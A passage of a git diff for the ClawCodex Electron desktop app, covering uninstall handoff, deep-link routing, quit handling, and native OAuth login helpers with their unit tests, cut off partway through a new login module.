+  } catch (error) {
+    rememberLog(`[uninstall] backend teardown errored (continuing): ${error.message}`)
+  }
+
+  const scriptArgs = {
+    desktopPid: process.pid,
+    pythonExe: py,
+    pythonPath,
+    agentRoot: ACTIVE_CLAWCODEX_ROOT,
+    uninstallArgs,
+    appPath: removeBundle,
+    clawcodexHome: CLAWCODEX_CONFIG_DIR
+  }
+
+  let scriptPath
+  let runner
+  let runnerArgs
+
+  try {
+    if (IS_WINDOWS) {
+      scriptPath = path.join(app.getPath('temp'), `clawcodex-uninstall-${Date.now()}.cmd`)
+      fs.writeFileSync(scriptPath, buildWindowsCleanupScript(scriptArgs))
+      runner = process.env.ComSpec || 'cmd.exe'
+      runnerArgs = ['/c', scriptPath]
+    } else {
+      scriptPath = path.join(app.getPath('temp'), `clawcodex-uninstall-${Date.now()}.sh`)
+      fs.writeFileSync(scriptPath, buildPosixCleanupScript(scriptArgs), { mode: 0o755 })
+      runner = '/bin/bash'
+      runnerArgs = [scriptPath]
+    }
+  } catch (error) {
+    return { ok: false, error: 'script-write-failed', message: error.message }
+  }
+
+  try {
+    const child = spawn(runner, runnerArgs, {
+      detached: true,
+      stdio: 'ignore',
+      windowsHide: true
+    })
+
+    child.unref()
+  } catch (error) {
+    return { ok: false, error: 'spawn-failed', message: error.message }
+  }
+
+  rememberLog(
+    `[uninstall] launched detached cleanup (${mode}): ${scriptPath} ` +
+      `(removesAgent=${modeRemovesAgent(mode)} removesUserData=${modeRemovesUserData(mode)} bundle=${removeBundle || 'none'})`
+  )
+
+  // Give the renderer a beat to show its "uninstalling…" state, then quit so
+  // the venv python shim + app bundle unlock and the cleanup script can run.
+  isQuittingForHandoff = true
+  setTimeout(() => app.quit(), 800)
+
+  return { ok: true, mode, willRemoveAppBundle: Boolean(removeBundle), scriptPath }
+}
+
+ipcMain.handle('clawcodex:uninstall:summary', async () => getUninstallSummary())
+ipcMain.handle('clawcodex:uninstall:run', async (_event, payload) => {
+  const mode = payload && typeof payload === 'object' ? payload.mode : payload
+
+  return runDesktopUninstall(String(mode || ''))
+})
+
+// Download a VS Code Marketplace extension and return the raw color-theme JSON
+// it contributes. No theme code is executed — we only read JSON from the .vsix.
+ipcMain.handle('clawcodex:vscode-theme:fetch', async (_event, id) => fetchMarketplaceThemes(String(id || '')))
+
+// Search the Marketplace for color-theme extensions (empty query = top installs).
+ipcMain.handle('clawcodex:vscode-theme:search', async (_event, query) => searchMarketplaceThemes(String(query || ''), 20))
+
+// ---------------------------------------------------------------------------
+// clawcodex:// deep links (e.g. clawcodex://blueprint/morning-brief?time=08:00).
+// A docs/dashboard "Send to App" button opens this URL; we route it into the
+// running app's chat composer. Three delivery paths: macOS 'open-url',
+// Win/Linux running-app 'second-instance' (argv), Win/Linux cold-start argv.
+// ---------------------------------------------------------------------------
+const CLAWCODEX_PROTOCOL = 'clawcodex'
+let _pendingDeepLink = null
+let _rendererReadyForDeepLink = false
+
+function _extractDeepLink(argv) {
+  if (!Array.isArray(argv)) {
+    return null
+  }
+
+  return argv.find(a => typeof a === 'string' && a.startsWith(`${CLAWCODEX_PROTOCOL}://`)) || null
+}
+
+function handleDeepLink(url) {
+  if (!url || typeof url !== 'string') {
+    return
+  }
+
+  let parsed
+
+  try {
+    parsed = new URL(url)
+  } catch {
+    rememberLog(`[deeplink] ignoring malformed url: ${url}`)
+
+    return
+  }
+
+  // clawcodex://blueprint/<key>?slot=val  -> host="blueprint", path="/<key>"
+  const kind = parsed.hostname || ''
+  const name = decodeURIComponent((parsed.pathname || '').replace(/^\//, ''))
+  const params = {}
+  parsed.searchParams.forEach((v, k) => {
+    params[k] = v
+  })
+  const payload = { kind, name, params }
+
+  if (!_rendererReadyForDeepLink || !mainWindow || mainWindow.isDestroyed()) {
+    _pendingDeepLink = payload
+
+    return
+  }
+
+  try {
+    if (mainWindow.isMinimized()) {
+      mainWindow.restore()
+    }
+
+    mainWindow.focus()
+    mainWindow.webContents.send('clawcodex:deep-link', payload)
+    rememberLog(`[deeplink] delivered ${kind}/${name}`)
+  } catch (err) {
+    rememberLog(`[deeplink] delivery failed: ${err.message}`)
+  }
+}
+
+// Renderer calls this (via IPC) once it has mounted its deep-link listener, so
+// a link that arrived during boot/install is flushed exactly once.
+ipcMain.handle('clawcodex:deep-link-ready', () => {
+  _rendererReadyForDeepLink = true
+
+  if (_pendingDeepLink) {
+    const queued = _pendingDeepLink
+    _pendingDeepLink = null
+    handleDeepLink(
+      `${CLAWCODEX_PROTOCOL}://${queued.kind}/${encodeURIComponent(queued.name)}` +
+        (Object.keys(queued.params).length ? '?' + new URLSearchParams(queued.params).toString() : '')
+    )
+  }
+
+  return { ok: true }
+})
+
+function registerDeepLinkProtocol() {
+  try {
+    if (process.defaultApp && process.argv.length >= 2) {
+      // Dev: register with the electron exec path + entry script so the OS can
+      // relaunch us with the URL.
+      app.setAsDefaultProtocolClient(CLAWCODEX_PROTOCOL, process.execPath, [path.resolve(process.argv[1])])
+    } else {
+      app.setAsDefaultProtocolClient(CLAWCODEX_PROTOCOL)
+    }
+  } catch (err) {
+    rememberLog(`[deeplink] protocol registration failed: ${err.message}`)
+  }
+}
+
+// Single-instance lock: deep links on a running app (Win/Linux) arrive as a
+// second-instance argv. Without the lock a second `clawcodex://` launch spawns a
+// whole new app instead of routing into the running one.
+const _gotSingleInstanceLock = app.requestSingleInstanceLock()
+
+if (!_gotSingleInstanceLock) {
+  app.quit()
+} else {
+  app.on('second-instance', (_event, argv) => {
+    const url = _extractDeepLink(argv)
+
+    if (url) {
+      handleDeepLink(url)
+    }
+
+    ensureMainWindow(mainWindow, {
+      isReady: app.isReady(),
+      createWindow,
+      focusWindow,
+      // deep-link delivery focuses a live window after its renderer is ready.
+      focusExisting: !url
+    })
+  })
+}
+
+// macOS delivers deep links via 'open-url' — register early (can fire before
+// whenReady; handleDeepLink queues until the renderer is ready).
+app.on('open-url', (event, url) => {
+  event.preventDefault()
+  handleDeepLink(url)
+})
+
+app.whenReady().then(() => {
+  const systemCa = installWindowsSystemCaTrust(tls)
+
+  if (systemCa.applied) {
+    rememberLog(
+      `[tls] trusting ${systemCa.systemCertificateCount} Windows system CA certificate(s) for backend connections`
+    )
+  } else if (systemCa.error) {
+    rememberLog(`[tls] could not load Windows system CA certificates: ${systemCa.error}`)
+  }
+
+  if (IS_MAC) {
+    Menu.setApplicationMenu(buildApplicationMenu())
+  } else {
+    Menu.setApplicationMenu(null)
+  }
+
+  installMediaPermissions()
+  registerMediaProtocol()
+  installEmbedReferer()
+  registerDeepLinkProtocol()
+  ensureWslWindowsFonts()
+  configureSpellChecker()
+  registerPowerResumeListeners()
+  keepAwake.set(readPersistedKeepAwake())
+  // Quick Entry's global chord — registered on ready so a cold launch restores
+  // it without the renderer visiting Settings. A failed registration is logged
+  // here and surfaced in Settings via the IPC state (never silent).
+  applyQuickEntrySettings(readQuickEntrySettings())
+
+  if (IS_MAC) {
+    const reposition = () => wakeIndicatorController.reposition()
+
+    screen.on('display-added', reposition)
+
+    screen.on('display-metrics-changed', reposition)
+
+    screen.on('display-removed', reposition)
+  }
+
+  createWindow()
+
+  // Win/Linux cold start: the launching clawcodex:// URL is in our own argv.
+  const _coldStartLink = _extractDeepLink(process.argv)
+
+  if (_coldStartLink) {
+    handleDeepLink(_coldStartLink)
+  }
+
+  app.on('activate', () => {
+    // Recreate the primary window if it's gone. Guard on mainWindow directly
+    // (not just total window count) so a dock click still restores the main
+    // window when only secondary session windows remain open.
+    if (!mainWindow || mainWindow.isDestroyed()) {
+      createWindow()
+    } else {
+      focusWindow(mainWindow)
+    }
+  })
+})
+
+// Seed Chromium's spellchecker with the system locale (falling back to en-US).
+// On macOS Electron uses the native spellchecker which ignores this list, but
+// on Windows/Linux Chromium downloads Hunspell dictionaries on demand and
+// won't enable any without an explicit language.
+function configureSpellChecker() {
+  try {
+    const defaultSession = session.defaultSession
+
+    if (!defaultSession || typeof defaultSession.setSpellCheckerLanguages !== 'function') {
+      return
+    }
+
+    const available = defaultSession.availableSpellCheckerLanguages || []
+    const locale = (app.getLocale && app.getLocale()) || 'en-US'
+    const candidates = [locale, locale.split('-')[0], 'en-US', 'en']
+    const chosen = candidates.find(lang => available.includes(lang)) || 'en-US'
+
+    defaultSession.setSpellCheckerLanguages([chosen])
+  } catch (error) {
+    rememberLog(`Spellchecker setup failed: ${error.message}`)
+  }
+}
+
+// Ask before a quit kills a turn in flight. True when the quit was intercepted
+// and the confirmation is on screen; "Quit Anyway" re-enters before-quit with
+// the latch set and falls straight through to the teardown below.
+function heldQuitForActiveWork(event: Electron.Event): boolean {
+  if (SKIP_QUIT_CONFIRM || quitConfirmedWithActiveWork || quitPromptOpen) {
+    return false
+  }
+
+  const prompt = quitPromptFor(mergeActiveWork(activeWorkByWebContents.values()), isQuittingForHandoff)
+  const parent = BrowserWindow.getFocusedWindow() ?? BrowserWindow.getAllWindows()[0]
+
+  if (!prompt || !parent || parent.isDestroyed()) {
+    return false
+  }
+
+  event.preventDefault()
+  quitPromptOpen = true
+
+  void dialog
+    .showMessageBox(parent, {
+      buttons: ['Keep Running', 'Quit Anyway'],
+      cancelId: 0,
+      defaultId: 0,
+      detail: prompt.detail,
+      message: prompt.message,
+      type: 'question'
+    })
+    .then(({ response }) => {
+      quitPromptOpen = false
+
+      if (response === 1) {
+        quitConfirmedWithActiveWork = true
+        app.quit()
+      }
+    })
+    .catch(() => {
+      // A dialog we can't show must not become a quit we can't perform.
+      quitPromptOpen = false
+      quitConfirmedWithActiveWork = true
+      app.quit()
+    })
+
+  return true
+}
+
+app.on('before-quit', event => {
+  // Runs ahead of every teardown below, so "Keep Running" leaves the app
+  // exactly as it was.
+  if (heldQuitForActiveWork(event)) {
+    return
+  }
+
+  if ((sshConnections.size > 0 || sshBootstrapCoordinator.promises().length > 0) && !sshQuitTeardownDone) {
+    event.preventDefault()
+    sshBootstrapCoordinator.cancelAll()
+    const scopes = [...sshConnections.keys()]
+
+    const pending = Promise.allSettled([
+      ...scopes.map(scope => teardownSshConnection(scope || null)),
+      ...sshBootstrapCoordinator.promises()
+    ])
+
+    void Promise.race([pending, new Promise(resolve => setTimeout(resolve, 4_000))]).then(async () => {
+      await sshBootstrapCoordinator.forceCleanupAll()
+      sshQuitTeardownDone = true
+      app.quit()
+    })
+  }
+
+  // Clean quit mid-boot should not trip next-launch --no-sandbox (#38216).
+  // FATAL GPU aborts skip before-quit, leaving the `booting` marker in place.
+  // Keyed on sticky (not active): a manual --no-sandbox run still records a
+  // clean quit, while an engaged fallback keeps its sticky marker.
+  if (IS_WINDOWS && !windowsSandboxFallbackSticky) {
+    try {
+      writeSandboxMarker(app.getPath('userData'), markerAfterSuccessfulBoot({ fallbackActive: false }))
+    } catch {
+      void 0
+    }
+  }
+
+  // The always-on-top overlay isn't a "real" app window; close it so a stray
+  // pet can't keep the process alive or float over a quit app.
+  closePetOverlay()
+  wakeIndicatorController.close()
+
+  // Same for the Quick Entry composer — and release its global accelerator so a
+  // quitting ClawCodex never keeps another app's chord hostage.
+  closeQuickEntryWindow()
+
+  // Quitting mid-install should stop the installer, not orphan it.
+  if (bootstrapAbortController) {
+    try {
+      bootstrapAbortController.abort()
+    } catch {
+      void 0
+    }
+  }
+
+  if (desktopLogFlushTimer) {
+    clearTimeout(desktopLogFlushTimer)
+    desktopLogFlushTimer = null
+  }
+
+  flushDesktopLogBufferSync()
+  closePreviewWatchers()
+
+  // Kill open PTYs before environment teardown to avoid the node-pty#904
+  // ThreadSafeFunction SIGABRT race.
+  for (const id of [...terminalSessions.keys()]) {
+    disposeTerminalSession(id)
+  }
+
+  stopBackendChild(backendConnectionState.getProcess())
+  stopAllPoolBackends()
+})
+
+app.on('window-all-closed', () => {
+  // macOS convention: keep the process alive in the Dock when the user closes
+  // the last window. But when we're handing off to a detached updater / swap /
+  // uninstall script, the process MUST exit so the script can replace or remove
+  // the bundle and relaunch — without this the script's PID-wait spins to its
+  // full timeout and the user is left with an invisible app (or an uninstall
+  // that appears to do nothing).
+  if (process.platform !== 'darwin' || isQuittingForHandoff) {
+    app.quit()
+  }
+})
diff --git a/ui-desktop/electron/native-auth-decisions.test.ts b/ui-desktop/electron/native-auth-decisions.test.ts
new file mode 100644
index 000000000..d4cfc068c
--- /dev/null
+++ b/ui-desktop/electron/native-auth-decisions.test.ts
@@ -0,0 +1,132 @@
+/**
+ * Regression tests for electron/native-auth-decisions.ts — the pure decision
+ * seams behind the RFC 8252 native-app auth flow, each of which was a real
+ * runtime bug that the mocked flow tests could not catch.
+ *
+ * Run via the vitest `electron` project (electron/**\/*.test.ts).
+ */
+
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import {
+  oauthGuardMayHardFail,
+  oauthSessionIsLive,
+  resolveJsonBody,
+  resolveOauthRestAuth,
+  resolveReadinessProbeAuth
+} from './native-auth-decisions'
+
+// --- 1. body encoding (guards the double-JSON.stringify 422) ---
+
+test('resolveJsonBody returns the object unchanged (no pre-stringify)', () => {
+  const body = { code: 'abc', code_verifier: 'xyz' }
+  const out = resolveJsonBody(body)
+
+  // Must be the SAME object reference / shape — NOT a JSON string. Pre-
+  // stringifying here is what produced the gateway 422 "Input should be a
+  // valid dictionary" at /auth/native/token.
+  assert.equal(typeof out, 'object')
+  assert.deepEqual(out, body)
+})
+
+test('resolveJsonBody does not stringify — a string stays a string, an object stays an object', () => {
+  assert.equal(typeof resolveJsonBody({ a: 1 }), 'object')
+  // If a caller ever passes an already-encoded string (the bug), we return it
+  // as-is rather than re-wrapping — the contract is "fetchJson owns encoding".
+  assert.equal(typeof resolveJsonBody('{"a":1}'), 'string')
+})
+
+// --- 2. oauth liveness (guards the needsOauthLogin loop) ---
+
+test('oauthSessionIsLive is true when a native bearer token exists, even with no cookie', () => {
+  // The exact bug: native login stores a bearer, sets no cookie. Gating on the
+  // cookie alone looped the UI into "not signed in".
+  assert.equal(oauthSessionIsLive(true, false), true)
+})
+
+test('oauthSessionIsLive is true when a live cookie exists with no native token', () => {
+  assert.equal(oauthSessionIsLive(false, true), true)
+})
+
+test('oauthSessionIsLive is true when both are present', () => {
+  assert.equal(oauthSessionIsLive(true, true), true)
+})
+
+test('oauthSessionIsLive is false only when neither is present', () => {
+  assert.equal(oauthSessionIsLive(false, false), false)
+})
+
+// --- 3. REST auth selection (guards the 401 no_cookie) ---
+
+test('resolveOauthRestAuth prefers the native bearer when a token is present', () => {
+  const auth = resolveOauthRestAuth('bearer-token-123')
+
+  assert.deepEqual(auth, { kind: 'bearer', token: 'bearer-token-123' })
+})
+
+test('resolveOauthRestAuth falls back to cookie when there is no native token', () => {
+  assert.deepEqual(resolveOauthRestAuth(null), { kind: 'cookie' })
+  assert.deepEqual(resolveOauthRestAuth(undefined), { kind: 'cookie' })
+  // Empty string is not a usable bearer — must fall back, not send "Bearer ".
+  assert.deepEqual(resolveOauthRestAuth(''), { kind: 'cookie' })
+})
+
+// --- 4. readiness-probe auth (guards the credential-free 401 boot loop) ---
+
+test('resolveReadinessProbeAuth reuses the oauth bearer-vs-cookie choice', () => {
+  assert.deepEqual(resolveReadinessProbeAuth('oauth', 'native-at'), { kind: 'bearer', token: 'native-at' })
+  assert.deepEqual(resolveReadinessProbeAuth('oauth', null), { kind: 'cookie' })
+  assert.deepEqual(resolveReadinessProbeAuth('oauth', ''), { kind: 'cookie' })
+})
+
+test('resolveReadinessProbeAuth sends the session token for a token gateway', () => {
+  assert.deepEqual(resolveReadinessProbeAuth('token', null, 'session-token'), {
+    kind: 'token',
+    token: 'session-token'
+  })
+  assert.deepEqual(resolveReadinessProbeAuth('token', null, null), { kind: 'token', token: null })
+})
+
+test('resolveReadinessProbeAuth stays public for local and unknown modes', () => {
+  // A loopback backend has no gate; sending credentials it never issued is
+  // meaningless, and an unknown mode must not invent a credential.
+  assert.deepEqual(resolveReadinessProbeAuth('local', 'native-at', 'session-token'), { kind: 'public' })
+  assert.deepEqual(resolveReadinessProbeAuth(undefined, 'native-at', 'session-token'), { kind: 'public' })
+  assert.deepEqual(resolveReadinessProbeAuth('something-new', null, null), { kind: 'public' })
+})
+
+// --- 5. oauth guard vs password gateways (guards the false "not signed in") ---
+
+test('oauthGuardMayHardFail is false only when EVERY provider is password-based', () => {
+  assert.equal(oauthGuardMayHardFail([{ name: 'basic', supportsPassword: true }]), false)
+  assert.equal(
+    oauthGuardMayHardFail([
+      { name: 'basic', supportsPassword: true },
+      { name: 'ldap', supportsPassword: true }
+    ]),
+    false
+  )
+})
+
+test('oauthGuardMayHardFail keeps the strict guard for oauth and mixed deployments', () => {
+  assert.equal(oauthGuardMayHardFail([{ name: 'nous', supportsPassword: false }]), true)
+  assert.equal(
+    oauthGuardMayHardFail([
+      { name: 'nous', supportsPassword: false },
+      { name: 'basic', supportsPassword: true }
+    ]),
+    true
+  )
+})
+
+test('oauthGuardMayHardFail keeps the strict guard when the list is unusable', () => {
+  // Backends predating /api/auth/providers, or an unreachable probe, must not
+  // silently weaken the guard.
+  assert.equal(oauthGuardMayHardFail([]), true)
+  assert.equal(oauthGuardMayHardFail(null), true)
+  assert.equal(oauthGuardMayHardFail(undefined), true)
+  assert.equal(oauthGuardMayHardFail('nonsense' as any), true)
+  assert.equal(oauthGuardMayHardFail([{ supportsPassword: true }]), true)
+})
diff --git a/ui-desktop/electron/native-auth-decisions.ts b/ui-desktop/electron/native-auth-decisions.ts
new file mode 100644
index 000000000..c0978c3ec
--- /dev/null
+++ b/ui-desktop/electron/native-auth-decisions.ts
@@ -0,0 +1,144 @@
+/**
+ * native-auth-decisions.ts
+ *
+ * Pure decision helpers extracted from main.ts for the RFC 8252 native-app
+ * auth flow. These encode three choices that were each the site of a real
+ * runtime bug — invisible to the mocked flow tests because the tests never
+ * exercised the real main.ts internals. Keeping them pure + unit-tested here
+ * prevents silent regressions:
+ *
+ *   1. resolveJsonBody      — the token/refresh POST body must be the raw
+ *      object (fetchJson owns JSON.stringify). Pre-stringifying double-encodes
+ *      it into a JSON string, which the gateway's Pydantic model rejects with
+ *      422 "Input should be a valid dictionary".
+ *
+ *   2. oauthSessionIsLive   — an OAuth gateway is "signed in" when EITHER a
+ *      native bearer token OR a live cookie session exists. Gating on the
+ *      cookie alone rejects a completed native login and loops the UI into
+ *      "not signed in".
+ *
+ *   3. resolveOauthRestAuth — an oauth-mode REST call authenticates with the
+ *      native bearer when present, else the cookie partition. Cookie-only
+ *      routing returns 401 no_cookie for a cookieless native session.
+ *
+ *   4. resolveReadinessProbeAuth — the boot readiness probe must authenticate
+ *      the same way the rest of the connection does. A credential-free probe
+ *      against a gated gateway 401s forever; worse, it cannot tell a missing
+ *      route from a rejected session (see backend-health.ts).
+ *
+ *   5. oauthGuardMayHardFail — `auth_required: true` means "this gateway is
+ *      gated", NOT "this gateway speaks OAuth". A password-provider gateway
+ *      can satisfy neither the native-bearer nor the OAuth-partition-cookie
+ *      check by design, so the pre-flight guard must not hard-fail it.
+ *
+ * All five are trivial once named; the value is the test that pins the
+ * contract so the god-file call sites can't drift back to the buggy shape.
+ */
+
+/**
+ * Decide the request body to hand to fetchJson (which JSON.stringifies it).
+ * Returns the object UNCHANGED — callers must NOT pre-stringify. A string here
+ * would be double-encoded downstream; this function exists to document and
+ * pin that contract at the one seam that got it wrong.
+ */
+export function resolveJsonBody<T>(body: T): T {
+  return body
+}
+
+/**
+ * True when an oauth gateway should be treated as signed-in. `hasNativeToken`
+ * is whether a native bearer token is stored; `hasCookieSession` is whether a
+ * live AT-or-RT cookie exists in the OAuth partition. Either suffices.
+ */
+export function oauthSessionIsLive(hasNativeToken: boolean, hasCookieSession: boolean): boolean {
+  return hasNativeToken || hasCookieSession
+}
+
+export type OauthRestAuth = { kind: 'bearer'; token: string } | { kind: 'cookie' }
+
+/**
+ * Decide how an oauth-mode REST request authenticates: prefer the native
+ * bearer (cookieless RFC 8252 flow) when a non-empty access token is present,
+ * otherwise fall back to the cookie partition. `nativeAccessToken` is the
+ * result of ensureNativeAccessToken (null/empty when there is no native
+ * session or the refresh terminally failed).
+ */
+export function resolveOauthRestAuth(nativeAccessToken: string | null | undefined): OauthRestAuth {
+  if (nativeAccessToken) {
+    return { kind: 'bearer', token: nativeAccessToken }
+  }
+
+  return { kind: 'cookie' }
+}
+
+export type ReadinessProbeAuth = OauthRestAuth | { kind: 'token'; token: string | null } | { kind: 'public' }
+
+/**
+ * Decide how the boot readiness probe authenticates.
+ *
+ * The probe must present the SAME credentials the rest of the connection
+ * will use. A credential-free probe against a gated gateway 401s until the
+ * boot deadline even though the session is perfectly valid — and because the
+ * dashboard auth gate runs ahead of the SPA catch-all, an unknown `/api/*`
+ * path answers 401 rather than 404, so the probe also cannot detect a backend
+ * that predates `/api/health`. Sending credentials is what lets a missing
+ * route surface as a real 404 (see `isMissingHealthEndpointError`).
+ *
+ * `oauth` reuses `resolveOauthRestAuth` so the probe and every other oauth
+ * REST call make the identical bearer-vs-cookie choice. `token` presents the
+ * connection's session token. `local` (and anything unrecognized) stays
+ * public: a loopback backend has no gate, and sending credentials it never
+ * issued would be meaningless.
+ */
+export function resolveReadinessProbeAuth(
+  authMode: string | null | undefined,
+  nativeAccessToken?: string | null,
+  connectionToken?: string | null
+): ReadinessProbeAuth {
+  if (authMode === 'oauth') {
+    return resolveOauthRestAuth(nativeAccessToken)
+  }
+
+  if (authMode === 'token') {
+    return { kind: 'token', token: connectionToken ?? null }
+  }
+
+  return { kind: 'public' }
+}
+
+export interface AdvertisedAuthProvider {
+  name?: string
+  supportsPassword?: boolean
+}
+
+/**
+ * Whether the oauth pre-flight guard may hard-fail a connection for "not
+ * signed in".
+ *
+ * `authModeFromStatus` maps the gateway's `auth_required: true` onto
+ * `'oauth'`, but that flag only means the dashboard is GATED — it says
+ * nothing about how you authenticate. A gateway whose providers are all
+ * username/password cannot satisfy the guard's checks by construction:
+ * `start_login` raises NotImplementedError, `/auth/native/authorize` rejects
+ * password providers, and its cookies are set by a plain password-login POST
+ * rather than the `/auth/callback` redirect the OAuth partition is primed
+ * for. Hard-failing there rejects a live session one line before the
+ * ws-ticket mint that would have succeeded against that very partition.
+ *
+ * Returns false only when EVERY advertised provider is password-based. An
+ * unknown or empty list keeps the strict guard, so backends that predate
+ * `/api/auth/providers` are unaffected.
+ */
+export function oauthGuardMayHardFail(providers: AdvertisedAuthProvider[] | null | undefined): boolean {
+  if (!Array.isArray(providers) || providers.length === 0) {
+    return true
+  }
+
+  const named = providers.filter(provider => provider && typeof provider === 'object' && provider.name)
+
+  if (named.length === 0) {
+    return true
+  }
+
+  return !named.every(provider => provider.supportsPassword)
+}
diff --git a/ui-desktop/electron/native-oauth-login.test.ts b/ui-desktop/electron/native-oauth-login.test.ts
new file mode 100644
index 000000000..6d1651bc7
--- /dev/null
+++ b/ui-desktop/electron/native-oauth-login.test.ts
@@ -0,0 +1,173 @@
+/**
+ * Tests for electron/native-oauth-login.ts — the loopback-listener
+ * orchestration of the RFC 8252 native login, with all I/O injected (fake
+ * http server, fake openExternal, fake token POST) so no real socket or
+ * browser is needed.
+ *
+ * Run with: node --test electron/native-oauth-login.test.ts
+ */
+
+import assert from 'node:assert/strict'
+import { EventEmitter } from 'node:events'
+
+import { test } from 'vitest'
+
+import { runNativeLogin } from './native-oauth-login'
+
+// A fake http.Server: captures the request handler, lets the test drive a
+// synthetic browser callback, and records listen/close lifecycle.
+function makeFakeServerFactory(port = 51234) {
+  const state: any = { handler: null, listening: false, closed: false, openedUrl: null }
+
+  const createServer: any = (handler: any) => {
+    state.handler = handler
+    const server: any = new EventEmitter()
+
+    server.listen = (_port: number, _host: string, cb: () => void) => {
+      state.listening = true
+      cb()
+    }
+
+    server.address = () => ({ address: '127.0.0.1', family: 'IPv4', port })
+
+    server.close = () => {
+      state.closed = true
+    }
+
+    state.server = server
+
+    return server
+  }
+
+  // Drive a synthetic browser hit to the loopback callback.
+  state.hitCallback = (query: string) => {
+    const res: any = { writeHead: () => undefined, end: () => undefined }
+    state.handler({ url: `/callback?${query}` }, res)
+  }
+
+  return { createServer, state }
+}
+
+test('runNativeLogin completes the loopback round trip and returns tokens', async () => {
+  const { createServer, state } = makeFakeServerFactory()
+  let capturedAuthorizeUrl = ''
+  let tokenPostBody: any = null
+
+  const promise = runNativeLogin(
+    'https://gw.example.com',
+    {
+      openExternal: async url => {
+        capturedAuthorizeUrl = url
+      },
+      postJson: async (_url, body) => {
+        tokenPostBody = body
+
+        return {
+          access_token: 'AT-native',
+          refresh_token: 'RT-native',
+          token_type: 'Bearer',
+          expires_at: 1893456000,
+          provider: 'nous',
+          user_id: 'u-9'
+        }
+      },
+      createServer,
+      timeoutMs: 5_000
+    },
+    { provider: 'nous' }
+  )
+
+  // Give the listen callback a tick to open the browser + capture the URL.
+  await new Promise(r => setTimeout(r, 5))
+
+  // The authorize URL must carry OUR challenge + loopback redirect + state.
+  const authorize = new URL(capturedAuthorizeUrl)
+  assert.equal(authorize.pathname, '/auth/native/authorize')
+  const challenge = authorize.searchParams.get('code_challenge')
+  const stateParam = authorize.searchParams.get('state')
+  assert.ok(challenge && challenge.length > 0)
+  assert.match(authorize.searchParams.get('redirect_uri') || '', /^http:\/\/127\.0\.0\.1:\d+\/callback$/)
+
+  // Synthetic browser redirect back with the matching state + a code.
+  state.hitCallback(`code=gw-code-1&state=${encodeURIComponent(stateParam!)}`)
+
+  const tokens = await promise
+  assert.equal(tokens.accessToken, 'AT-native')
+  assert.equal(tokens.refreshToken, 'RT-native')
+  assert.equal(tokens.userId, 'u-9')
+  // The token POST carried the code + a verifier whose hash is the challenge.
+  assert.equal(tokenPostBody.code, 'gw-code-1')
+  assert.ok(tokenPostBody.code_verifier && tokenPostBody.code_verifier.length >= 43)
+  // Listener was cleaned up.
+  assert.equal(state.closed, true)
+})
+
+test('runNativeLogin rejects on a state mismatch (CSRF) without redeeming', async () => {
+  const { createServer, state } = makeFakeServerFactory()
+  let tokenPostCalled = false
+
+  const promise = runNativeLogin('https://gw.example.com', {
+    openExternal: async () => undefined,
+    postJson: async () => {
+      tokenPostCalled = true
+
+      return {}
+    },
+    createServer,
+    timeoutMs: 5_000
+  })
+
+  await new Promise(r => setTimeout(r, 5))
+  // Wrong state — must not redeem the code.
+  state.hitCallback('code=evil&state=not-the-real-state')
+
+  await assert.rejects(promise, /state mismatch/i)
+  assert.equal(tokenPostCalled, false)
+  assert.equal(state.closed, true)
+})
+
+test('runNativeLogin surfaces a gateway error param', async () => {
+  const { createServer, state } = makeFakeServerFactory()
+
+  const promise = runNativeLogin('https://gw.example.com', {
+    openExternal: async () => undefined,
+    postJson: async () => ({}),
+    createServer,
+    timeoutMs: 5_000
+  })
+
+  await new Promise(r => setTimeout(r, 5))
+  state.hitCallback('error=access_denied&error_description=user_declined')
+
+  await assert.rejects(promise, /access_denied/i)
+})
+
+test('runNativeLogin times out when no callback arrives', async () => {
+  const { createServer } = makeFakeServerFactory()
+
+  await assert.rejects(
+    runNativeLogin('https://gw.example.com', {
+      openExternal: async () => undefined,
+      postJson: async () => ({}),
+      createServer,
+      timeoutMs: 20
+    }),
+    /timed out/i
+  )
+})
+
+test('runNativeLogin fails if the browser cannot be opened', async () => {
+  const { createServer } = makeFakeServerFactory()
+
+  await assert.rejects(
+    runNativeLogin('https://gw.example.com', {
+      openExternal: async () => {
+        throw new Error('no browser')
+      },
+      postJson: async () => ({}),
+      createServer,
+      timeoutMs: 5_000
+    }),
+    /could not open the system browser/i
+  )
+})
diff --git a/ui-desktop/electron/native-oauth-login.ts b/ui-desktop/electron/native-oauth-login.ts
new file mode 100644
index 000000000..59e1a7068
--- /dev/null
+++ b/ui-desktop/electron/native-oauth-login.ts
@@ -0,0 +1,215 @@
+/**
+ * native-oauth-login.ts
+ *
+ * Electron-coupled driver for the RFC 8252 native-app login: it runs the
+ * loopback HTTP listener that catches the gateway's browser redirect, opens
+ * the system browser, redeems the one-time code for tokens, and hands them
+ * back. The PURE logic (PKCE, URL building, callback parsing, token-response
+ * normalization) lives in native-oauth.ts and is unit-tested separately; this
+ * module is the thin I/O shell around it.
+ *
+ * Dependencies are INJECTED (openExternal, a JSON-POST fn, an http-server
+ * factory, a clock) so the orchestration is testable without booting Electron
+ * or opening real sockets — mirroring how connection-config.ts injects
+ * `mintTicket`. main.ts supplies the real electron shell.openExternal,
+ * electron.net POST, and node:http server.
+ *
+ * Security posture (see native-oauth.ts for the flow-level rationale):
+ *   - the loopback server binds 127.0.0.1 on an EPHEMERAL port and shuts down
+ *     the instant it receives the callback (or times out) — no long-lived
+ *     local listener;
+ *   - the `state` is verified before the code is redeemed (CSRF);
+ *   - the PKCE verifier never leaves this process until the token POST, and
+ *     the gateway enforces SHA256(verifier)==challenge server-side;
+ *   - the browser sees only a minimal "you can close this window" HTML page,
+ *     never the tokens.
+ */
+
+import http from 'node:http'
+import type { AddressInfo } from 'node:net'
+
+import {
+  buildNativeAuthorizeUrl,
+  generatePkcePair,
+  generateState,
+  type NativeTokenSet,
+  nativeTokenUrl,
+  parseLoopbackCallback,
+  parseTokenResponse
+} from './native-oauth'
+
+// Loopback login must complete inside this window (user opens browser,
+// authenticates, gets redirected back). Matches the server-side pending TTL.
+const DEFAULT_LOGIN_TIMEOUT_MS = 5 * 60 * 1000
+
+// The minimal page the browser lands on after the gateway redirect. No tokens,
+// no secrets — just a close affordance. Served for any loopback request so a
+// favicon probe doesn't look like a failure.
+const DONE_HTML =
+  '<!doctype html><meta charset="utf-8"><title>Signed in</title>' +
+  '<body style="font:15px system-ui;margin:3rem;text-align:center">' +
+  '<h2>&#10003; Signed in to ClawCodex</h2>' +
+  '<p>You can close this window and return to the app.</p>' +
+  '<script>setTimeout(()=>window.close(),800)</script>'
+
+export interface NativeLoginDeps {
